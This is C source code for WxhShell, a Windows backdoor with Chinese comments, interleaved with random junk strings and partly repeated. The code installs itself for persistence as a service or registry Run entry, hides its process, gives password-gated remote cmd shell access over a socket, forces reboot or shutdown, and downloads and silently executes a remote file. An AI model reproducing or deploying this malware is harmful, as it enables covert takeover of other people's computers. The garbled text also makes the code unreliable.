|Zk PROCESS_BASIC_INFORMATION pbi; q.tL' #>oO[uaY HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XfDQx!gJ if(NULL == hInst ) return 0; <]`2H}*U' <GR: 5pJ% g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r+yLK(<zp g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .Cd$=v6 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HC}C_Q5c91 b%$C!Tq' if (!NtQueryInformationProcess) return 0; |"*:ZSj Sgy~Z^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JFkjpBS if(!hProcess) return 0; aDEP_b;
'Z}$V* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0Jif.< zW&W`( CloseHandle(hProcess); ^(B*AE. "61n?Z#,M[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sZ$ ~abX if(hProcess==NULL) return 0; 0 pz
X!f1~ /!3:K<6@ HMODULE hMod; L4-Pq\2 char procName[255]; Y'R1\Go- unsigned long cbNeeded; 5jk4k c 06O if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0\;a:E.c &"0[7zgYQz CloseHandle(hProcess); )Jn80~U|1 Q)8t;Kx if(strstr(procName,"services")) return 1; // 以服务启动 <:o><f+ wAPdu y[ return 0; // 注册表启动 );LwWKa } MeS$+9jV( zvg&o)/[ // 主模块 {S~$\4vC! int StartWxhshell(LPSTR lpCmdLine) 34+}u,= { Fb-TCq1y# SOCKET wsl; >iV(8EgBS BOOL val=TRUE; IA!Kpg
W int port=0; EeJ]>
1 struct sockaddr_in door; ,iy k$/].P*! if(wscfg.ws_autoins) Install(); <GEn9;\
B&D
z(Bs port=atoi(lpCmdLine); jz0\F,s &Gl&m@-j if(port<=0) port=wscfg.ws_port; &*SnDuc !ZdUW] WSADATA data; p:))ne:7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zvj\n9H HB:i0m2fJW if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !9NAm?Fw setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sP7 (1)\ door.sin_family = AF_INET; 2e=Hjf
)
door.sin_addr.s_addr = inet_addr("127.0.0.1"); $4]PN2d& door.sin_port = htons(port); gd*?kXpt c^%k1pae( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +UtK2<^:o closesocket(wsl); egvWPht'_ return 1; 9IV WbJ } ?i"FdpW `$HO`d@0*R if(listen(wsl,2) == INVALID_SOCKET) { %cL:*D4oz closesocket(wsl); TMBdneS-s return 1; I&c#U+-A' } RB!E>] Wxhshell(wsl); nm.d.A/]Z WSACleanup(); %{"STbO #> 6h%(0=^ return 0; }rZp(FG@* g<Xwk2_=g } Tc:`TE=2 AJmzg // 以NT服务方式启动 :W"ITY( VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2)YLs5>W% { 5**xU+& DWORD status = 0; xl$ Qw' DWORD specificError = 0xfffffff; u1l#k60 3-5lO# serviceStatus.dwServiceType = SERVICE_WIN32; Heu@{t.[!D serviceStatus.dwCurrentState = SERVICE_START_PENDING; xh$[E&2u serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b;vO` serviceStatus.dwWin32ExitCode = 0; YzqhFFaj. serviceStatus.dwServiceSpecificExitCode = 0; V
Euv serviceStatus.dwCheckPoint = 0; ^8)d8?} serviceStatus.dwWaitHint = 0; *k -UQLJ Z "u/8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $9/r*@bu8d if (hServiceStatusHandle==0) return; TEtZPGFl B=7L+6 status = GetLastError(); WD:5C3; if (status!=NO_ERROR) 9 )qx0 { V'B 6C#jT serviceStatus.dwCurrentState = SERVICE_STOPPED; e9hQJ
1{)x serviceStatus.dwCheckPoint = 0; s#ykD{Z serviceStatus.dwWaitHint = 0; v)06`G serviceStatus.dwWin32ExitCode = status; l3,|r QD serviceStatus.dwServiceSpecificExitCode = specificError; 3 0Z;}<)9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); P%c<0y"O:> return; 9^n
]qg^ } rcOmpgew ~p.23G]x serviceStatus.dwCurrentState = SERVICE_RUNNING; R\^tr serviceStatus.dwCheckPoint = 0; LCtm@oN serviceStatus.dwWaitHint = 0; Ue7~rPdlR if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '4iu0ie>D } Jx]`!dP3 'E9jv4E$n // 处理NT服务事件,比如:启动、停止 i \~4W$4I VOID WINAPI NTServiceHandler(DWORD fdwControl) o9CB
,c7] { (DU{o\= switch(fdwControl) Tym!7H2 { :
SNp"| case SERVICE_CONTROL_STOP: w[iQndu serviceStatus.dwWin32ExitCode = 0; WG,{:|!E serviceStatus.dwCurrentState = SERVICE_STOPPED; 5o?bF3 serviceStatus.dwCheckPoint = 0; /dAIg1ra serviceStatus.dwWaitHint = 0; YL]x>7T~4t { 9ccEF6o0= SetServiceStatus(hServiceStatusHandle, &serviceStatus); VCI G+Gz } DIY WFVh return; s$Mj4_p3l case SERVICE_CONTROL_PAUSE: YAO0>T<F serviceStatus.dwCurrentState = SERVICE_PAUSED; 97lwPjq break; Kf*+Ilq%L case SERVICE_CONTROL_CONTINUE: *-7O|
'' serviceStatus.dwCurrentState = SERVICE_RUNNING; ` WVQp"m break; R[b?kT-% case SERVICE_CONTROL_INTERROGATE: AbB%osz}Ed break; >. A{=? }; 2&M
8Wb# SetServiceStatus(hServiceStatusHandle, &serviceStatus); kci H } F n\)*; ^ 2neiUNT // 标准应用程序主函数 xGqZ8v`v int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Lt)t}0 { +Fk.B@KT, P)3e^~+A // 获取操作系统版本 BkcOsJIz OsIsNt=GetOsVer(); nxG vh4'i8 GetModuleFileName(NULL,ExeFile,MAX_PATH); jGt[[s
_$\T;m>'A // 从命令行安装 Ky+TgR if(strpbrk(lpCmdLine,"iI")) Install(); D_@^XS P_9O8"W // 下载执行文件 )vw3Y88 if(wscfg.ws_downexe) { ~o+u: ] if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iVD9MHT4 WinExec(wscfg.ws_filenam,SW_HIDE); ;fuy}q8@7 } hod|o1C& #8'%CUF*<8 if(!OsIsNt) { u{si // 如果时win9x,隐藏进程并且设置为注册表启动 &{$\]sv HideProc(); {_ocW@@ StartWxhshell(lpCmdLine); J4<- C\=4 }
H='`#l1 else B;EdLs} if(StartFromService()) TR#5V@e.m // 以服务方式启动 KjLj StartServiceCtrlDispatcher(DispatchTable); +m"iJW0 else `H\^#Zu
// 普通方式启动 A&z StartWxhshell(lpCmdLine); :
"UBeo<Z hHdC/mR
return 0; TOQvZ?_ } SQ@@79A ]LD@I;(_ sGV%O=9?2 GDk/85cv0$ =========================================== X{)M}WO+r 2D
"mq~V SgJQH7N [;c#LJ/y [Ga9^e$Zv _9<Ko.GVq " jv W/M.q4 Od!j+.OY< #include <stdio.h> ;yH/GN#O #include <string.h> K]RkKMT, #include <windows.h> vsc&$r3!5{ #include <winsock2.h> rXA7<_V g #include <winsvc.h> UlyX$f%2 #include <urlmon.h> $Cte$jg{; zD?<m
J` #pragma comment (lib, "Ws2_32.lib") :z.<||T #pragma comment (lib, "urlmon.lib") JIK;/1 &D/_@\ 0 #define MAX_USER 100 // 最大客户端连接数 yHCBf)N7\ #define BUF_SOCK 200 // sock buffer 2Ddrxc>48 #define KEY_BUFF 255 // 输入 buffer hF6EOCY6D )4j#gHN\ #define REBOOT 0 // 重启 &0M^UvO #define SHUTDOWN 1 // 关机 k)4
Q+S>nL!*#1 #define DEF_PORT 5000 // 监听端口 $AoN,B> =\tg$ #define REG_LEN 16 // 注册表键长度 % nJ'r?+h #define SVC_LEN 80 // NT服务名长度 C0'Tua' GMFp,Df // 从dll定义API ++xEMP) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KVJiCdg- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9^`G `D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D>05F,a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *K!V$8k=99 1h|JKu0 // wxhshell配置信息 QGfU: struct WSCFG { 'H+pwp"M@ int ws_port; // 监听端口 fY\QI
= char ws_passstr[REG_LEN]; // 口令 _uL m !ku int ws_autoins; // 安装标记, 1=yes 0=no *Bc=gl$ char ws_regname[REG_LEN]; // 注册表键名 (G:$/fK char ws_svcname[REG_LEN]; // 服务名 o <sX6a9e char ws_svcdisp[SVC_LEN]; // 服务显示名 X)`?P*[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 y!!p:3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Aj-}G^># int ws_downexe; // 下载执行标记, 1=yes 0=no W*gu*H^s~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $$AKz\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oMcX{v^" +,If|5>( }; }56"4/ Z aM~M@wS // default Wxhshell configuration <vOljo struct WSCFG wscfg={DEF_PORT, wOINcEdx "xuhuanlingzhe", haS`V 1, s(F^P "Wxhshell", $$`}b^, / "Wxhshell", &%rXRP "WxhShell Service", amOBUD5Ld` "Wrsky Windows CmdShell Service", LDO@$jg "Please Input Your Password: ", s>^*GQw 1, (Zx;GS "http://www.wrsky.com/wxhshell.exe", zkB_$=sbn# "Wxhshell.exe" SxNs }; 8z\WyDz cvi+AZ= // 消息定义模块 C^]bXIb char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bx;bc char *msg_ws_prompt="\n\r? for help\n\r#>"; I
91`~0L* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qr$uFh/y char *msg_ws_ext="\n\rExit."; {V,rWg char *msg_ws_end="\n\rQuit."; BHqJ~2&FDW char *msg_ws_boot="\n\rReboot..."; U_Id6J]8 char *msg_ws_poff="\n\rShutdown..."; b>?X8)f2e char *msg_ws_down="\n\rSave to "; WnU"&XZ 76(&O char *msg_ws_err="\n\rErr!"; G
?H`9*y char *msg_ws_ok="\n\rOK!"; OP{ d(~+ -&y{8<bu4H char ExeFile[MAX_PATH]; ]Ocf %( int nUser = 0; gtJUQu p2 HANDLE handles[MAX_USER]; &H`yDrg6U int OsIsNt; yD(0:g# qK#\k@E SERVICE_STATUS serviceStatus; R2-OT5Ej SERVICE_STATUS_HANDLE hServiceStatusHandle; =2#
C{u. U5%EQc-"P // 函数声明 lhKd<Y" int Install(void); PKty'}KF int Uninstall(void); 3@_je)s int DownloadFile(char *sURL, SOCKET wsh); Jcy int Boot(int flag); Jx(%t<2 void HideProc(void); Q];+?Pu. int GetOsVer(void); JmtU>2z\ int Wxhshell(SOCKET wsl); w*OZ1| void TalkWithClient(void *cs); D\bW' k]! int CmdShell(SOCKET sock); \,oT(p4N%M int StartFromService(void); x4Y+?2 int StartWxhshell(LPSTR lpCmdLine); C
3b ?&j[Rj0pH VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
JstX# z VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6uOR0L 0'% R@| // 数据结构和表定义 9co1+y=i{ SERVICE_TABLE_ENTRY DispatchTable[] = k5P&F { T[*=7jnJQ {wscfg.ws_svcname, NTServiceMain}, X2/`EN\ {NULL, NULL} s+$l.aIO! }; %HpTQ *4dA(N\k" // 自我安装 ~W_m<#K( int Install(void) #92:h6 { [89#8|+ char svExeFile[MAX_PATH]; (Rve<n6{A HKEY key; ; P&Ka strcpy(svExeFile,ExeFile); o'?Y0Wt 7_?:R2]n // 如果是win9x系统,修改注册表设为自启动 HFB2ep7N if(!OsIsNt) { Nj@k|_1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H_3S#. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gQCkoQi:j RegCloseKey(key); h1:uTrtA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,yNPD}@v> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .yd{7Te RegCloseKey(key); 3W5|Y@0 return 0; 0bVtku K;G } FDkRfh K } VX2KE@ } 1.4]T, ` else { b,cA mZ 'RC(ss1G // 如果是NT以上系统,安装为系统服务 ck){N?y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?sfA/9" if (schSCManager!=0) Nc,"wA { D: NBb!
SC_HANDLE schService = CreateService MLG%+@\ ( "[q/2vC schSCManager, cAogz/<S wscfg.ws_svcname, z
AacX@ wscfg.ws_svcdisp, DyD#4J)E SERVICE_ALL_ACCESS, E;fYL]j/oZ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bW7tJ SERVICE_AUTO_START, v[q2OWcL SERVICE_ERROR_NORMAL, ;oH17 svExeFile, }3!83~Qbx NULL, s*>s;S?{| NULL, *!ZU"q}i NULL, k3da*vwE NULL, \SHYwD}*Pr NULL <!v^Df ); y+)][Wa0 if (schService!=0) 5hUYxF20h8 { hc4<`W{ CloseServiceHandle(schService); 5wmH3g#0 CloseServiceHandle(schSCManager); S#8wnHq strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xai , strcat(svExeFile,wscfg.ws_svcname); CS)&A4`8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J^R))R= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s/Fc7V!; RegCloseKey(key); Z,M?!vK return 0; ;cH|9m:Y } dE7 kd=.o } 7[rn
,8@ CloseServiceHandle(schSCManager); UeIu
-[R } 8 P.t } 17I{_C @Y 1iEL%\y return 1; R
rs?I,NV } &^Zo}F2V D}XyT/8G3 // 自我卸载 R]VY
PNns int Uninstall(void) zW,m3~XX: { O8(;=exA HKEY key; iNUisl q(M[ij if(!OsIsNt) { .h~M&d! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qAUqlSP5 RegDeleteValue(key,wscfg.ws_regname); P%z\^\p"5 RegCloseKey(key); T^B&GgW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p+SFeUp RegDeleteValue(key,wscfg.ws_regname); }{[H@uhjH RegCloseKey(key); IsxPm9P2< return 0; (cAv :EKpo } +Pd&YfU9 } _A|1_^[G( } ,UopGlA
, else { 4(o: #9I z9}rT<hy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q6@}t&k4C if (schSCManager!=0) =G]} L< { GMU.Kt SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $v#Q'?jE if (schService!=0) JR|yg=E { D|/Azy.[ if(DeleteService(schService)!=0) { I&l 1b> CloseServiceHandle(schService); 2+M(!FHfy CloseServiceHandle(schSCManager); -l+&Bkf return 0; R/R[r> 1)6 } \[Op:^S CloseServiceHandle(schService); i;;CU9`E2q } dE!{=u(!i CloseServiceHandle(schSCManager); 4-^|e } ;2q;RT`h } M p:c. M8X*fYn return 1; / tM<ois* } 5gARGA 4Z)`kS}=] // 从指定url下载文件 $6}siU7s4 int DownloadFile(char *sURL, SOCKET wsh) EGO;g^, { )_"Cz".|9 HRESULT hr; ;X<#y2` char seps[]= "/"; D-\\L[ char *token; mVfg+d( char *file; ]|18tVXc char myURL[MAX_PATH]; Vh$~]>t:f char myFILE[MAX_PATH]; :BKY#uH~ +8Yt91 strcpy(myURL,sURL); :P# token=strtok(myURL,seps); !SEHDRp while(token!=NULL) $'btfo4H { LbOjKM^- file=token; &>\E
>mJ token=strtok(NULL,seps); x^^;/%p } O9wZx%< -U)6o"O_CV GetCurrentDirectory(MAX_PATH,myFILE); aF2eGh strcat(myFILE, "\\"); 1v!Xx+} strcat(myFILE, file); +6@".< send(wsh,myFILE,strlen(myFILE),0); I~y[8 send(wsh,"...",3,0); 3C 84b/A hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ${0+LhST if(hr==S_OK) k<wX ??' return 0; zk=5uKcPE else 9#{?*c6 return 1; p/>}{Q )Y wcUf?`21, } km,}7^?F0r mV^+`GWvo // 系统电源模块 I$xfCu int Boot(int flag) G`!#k!&r { jCqs^`- HANDLE hToken; _;3xG0+ TOKEN_PRIVILEGES tkp; 6DqV1' &MsnQP if(OsIsNt) { V^B'T]s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U4qp?g+: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z2~;u[0a[ tkp.PrivilegeCount = 1; :$."x
' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ar7vEa81 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L^3~gZ if(flag==REBOOT) { ,u7:l if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "^VKs_U8o return 0; %myg67u } x9XQ else { u'M\m7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |K| c return 0; :"7V,UP
@ } 9iGUE } ^d Fdw\ else { 5BR9f3} if(flag==REBOOT) { gfG Mu0FjB if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )pLde_ k return 0; 'hfQ4EN } Q4\EI=4P] else { QyQ&xgS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <iVn!P return 0; fiqeXE?E } U1G"T(;s: } u!?cKZw 5xX*68]% return 1; ^_
L'I%%[ } $50A!h e}Cp;c]= // win9x进程隐藏模块 "- @{ ) void HideProc(void) fa9c!xDt { ysm)B?+k ku3Vr\s HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~c~N _b if ( hKernel != NULL ) *>,8+S33r{ { .)~IoIW= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); URS6
LM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H4p N+ FreeLibrary(hKernel); !]=[h } y<jW7GNt jPU:&1(_ n return; $,Y\ } !4TM gM &QFg= // 获取操作系统版本 bzD <6Z int GetOsVer(void) hi4#8W { DjUif "v OSVERSIONINFO winfo; d6,SZ*AE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .E}fk,hLB GetVersionEx(&winfo); k44sV.G4L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wm\HZ9PN return 1; unu%\f>^4 else $}RBK'cr} return 0; gBb+Q, } }@%A@A{R ,paD/ // 客户端句柄模块 L]I ;{Y int Wxhshell(SOCKET wsl) r(-`b8ZE { h}r64<Y2{ SOCKET wsh; ?4v&TB@ struct sockaddr_in client; Jk=E"I6 DWORD myID; HLm6BtE ]FV,}EZ while(nUser<MAX_USER) k)j,~JH { ^x(BZolkm int nSize=sizeof(client); E-jL"H* wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V("@z<b| if(wsh==INVALID_SOCKET) return 1; gFlUMfKh `Mx&,;x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O2./?Ye if(handles[nUser]==0) A3D"b9<D closesocket(wsh); <nDuN*| else @H[)U/. nUser++; uj#bK
7 } 5%M 'ewu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @9S3u#vP 5Y77g[AX2- return 0; VBV y3fnj } ~5LlIpf36| 46`(u"RP // 关闭 socket ;LEO+,6 void CloseIt(SOCKET wsh) OSACH0h { nP`#z&C closesocket(wsh); @vzv9c[ nUser--; 9XtR8MH ExitThread(0); 1t7 vP; } i i&kfy 06pEA.ro // 客户端请求句柄 b#\i]2b: void TalkWithClient(void *cs) *b#00)d
{ ]M%kt +u! a&oz<4oT SOCKET wsh=(SOCKET)cs; klSzmi4M char pwd[SVC_LEN]; vzDoF0Ts*p char cmd[KEY_BUFF]; AA$+ayzx9{ char chr[1]; 9w\yWxl int i,j; 2P)*Y5`KBH x[XN;W& while (nUser < MAX_USER) { ,pfHNK-u 6aC'\8{h if(wscfg.ws_passstr) { s*%pNE U if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R%l6+Okr //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EG=~0j ~ //ZeroMemory(pwd,KEY_BUFF); Qb "\j i=0; eru2.(1 while(i<SVC_LEN) { es]S]}JV o[<lTsw< // 设置超时 tx0`#x fd_set FdRead; 9?M>Y?4 struct timeval TimeOut; Op''=Ar#sh FD_ZERO(&FdRead); =)tU]kp FD_SET(wsh,&FdRead); 7bcl^~lY TimeOut.tv_sec=8; PEA<H0 TimeOut.tv_usec=0; 2|a@,TW}- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tR`'( *wh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x@^Kd*fo }t.J;(ff: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Cy">Exl pwd=chr[0]; |Uf[x[ if(chr[0]==0xd || chr[0]==0xa) { ZWJ%t'kF pwd=0; `*?8<Vm break; Wp5w}8g } +%Y`>1I^# i++; yx v]G6 } %A 4F?/E +-8u09-F // 如果是非法用户,关闭 socket FUy!j|W6f if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2AN6(k4o } St9+/Md=jQ Y ;qA@| send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4DGc[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $~ 6Y\O (jQ]<q%P while(1) { tzl`|UwF o]Ln:k l ZeroMemory(cmd,KEY_BUFF); >b^|SL T2Duz, // 自动支持客户端 telnet标准 5Z
(1& j=0; uLr9*nxd while(j<KEY_BUFF) { <\0+*`">g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
LHy-y%?i cmd[j]=chr[0]; X0G
Mly if(chr[0]==0xa || chr[0]==0xd) { x !)[l; cmd[j]=0; "v%|&@ break; R
2.y=P8N } ^uG^XY&ItC j++; Ed&;d+NM } W=Y?_Oz 3RYg-$NK[ // 下载文件 Xgq-r $O2X if(strstr(cmd,"http://")) { "l83O8 L send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2y_R05O0 if(DownloadFile(cmd,wsh)) ykq9]Xqhv send(wsh,msg_ws_err,strlen(msg_ws_err),0); >$^v@jf else =^nb-9. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e G8Zn<:s } :Ng4?
+@r else { %+>t @F,GM W_]Su switch(cmd[0]) { 52RFB!Z[ D4';QCwo // 帮助 _6Ex}`fyJ
case '?': { ZH@BHg|}H send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h ~\bJ*Zp break; ]g}Tqf/N% } ]t4 9Efw // 安装 _1<zpHp case 'i': { G{4~{{tI if(Install()) F0&BEJBkU send(wsh,msg_ws_err,strlen(msg_ws_err),0); RA5*QW
else ;c>Co:W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PP+-D~r`} break; CBj&8#8Z } *F ya
qJ) // 卸载 V={`k$p case 'r': { HizMjJ| if(Uninstall()) Muhq,>!U send(wsh,msg_ws_err,strlen(msg_ws_err),0); tA,#!Z0 else sE,Q:@H5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -~wGJM
VA break; WKHEU)'! } ;JNI$DR // 显示 wxhshell 所在路径 N sUFM case 'p': { w-[A"M]I char svExeFile[MAX_PATH]; @(;zU~l/ strcpy(svExeFile,"\n\r"); yP&SA+ strcat(svExeFile,ExeFile); rXortK#\% send(wsh,svExeFile,strlen(svExeFile),0); /.?m9O^
F break; DA0{s } $}9.4`F> // 重启 K5oVB,z) case 'b': { tks3xS send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g%Yw Dr=0t if(Boot(REBOOT)) =K#12TRf send(wsh,msg_ws_err,strlen(msg_ws_err),0); Obd};&6Q else { i/Nd closesocket(wsh); Wix/Az ExitThread(0); &n|S:"B } k1EAmA
l break; "CS{fyJ } M*& tVG // 关机 S6J7^'h case 'd': { %Pz'D6
/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f]P&>j| if(Boot(SHUTDOWN)) d8Keyi8[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); O{B[iy(C else { 5>o<!0g closesocket(wsh); 3`W=rIMli ExitThread(0); ]w)*8
w.) } @R!f(\ break; ,$lOQ7R1( } dWg09 sx // 获取shell #D{jNSB case 's': { 319 &: CmdShell(wsh); L} >XH* closesocket(wsh); 8Z^9r/%*Z ExitThread(0); d#?.G3YmK break; 'h?;i2[ } p=tj>{ // 退出 `L-GI{EJ case 'x': {
P[l? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6$d3Ap@Gl CloseIt(wsh); ]A;{D~X^w break; sz5&P )X } > @Ux8# // 离开 -ZmccT" 8 case 'q': { c]qq *k# send(wsh,msg_ws_end,strlen(msg_ws_end),0); G! y~Y]e closesocket(wsh); kQr\ktN\ WSACleanup(); K):MT[/" exit(1); @0XqUcV break; k"J[mT$b } Tug}P K } H;&^A5 } DOr()X '+!@c&d#%o // 提示信息 ]yTMWIx# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
>&1MD} } [&Kn&bdKW } kF09t5Lr 9M$=X- return; "y %S.ipWG } 4 Ar\`{c> $LS$:%i4 // shell模块句柄 B&tU~ int CmdShell(SOCKET sock) fgb%SIi? { ~"<AYJlO STARTUPINFO si; U1+X!&OCp ZeroMemory(&si,sizeof(si)); Bf&,ACOf si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WVP^C71 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gC}r$ZB( PROCESS_INFORMATION ProcessInfo; oGK 1D char cmdline[]="cmd"; JN9
W:X. CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7TTU&7l~ return 0; pa7Iz^i } ) o)k~6uT b*-g@S // 自身启动模式 \2F$FRWo int StartFromService(void) )czuJ5 { s^
t1T& typedef struct ews4qP { 1gq(s2izy DWORD ExitStatus; ^|z DWORD PebBaseAddress; G8m:]! DWORD AffinityMask; (6xrs_ea DWORD BasePriority; 1LgzqRq ULONG UniqueProcessId; ZfzUvN&! ULONG InheritedFromUniqueProcessId; R:=
%gl! } PROCESS_BASIC_INFORMATION; h\ZnUn_J 1:3I G= PROCNTQSIP NtQueryInformationProcess; <f
l-P 4X0k1Fw)Y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [Rz9Di ; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ``~7z;E%@ -ejH%CT HANDLE hProcess; B2QC#R PROCESS_BASIC_INFORMATION pbi; =:T pH>f* "?I ]h HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (GLd"Zq if(NULL == hInst ) return 0; J/M_cO*U y4aW8J# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aY^_+&&G g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dS7?[[pg9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D ^ mfWJS QLq^[>n if (!NtQueryInformationProcess) return 0; w7.I0)MH __}j
{Buk hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &dqC
=oK] if(!hProcess) return 0; O-rHfIxY 99'e)[\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 29]T:I1d[
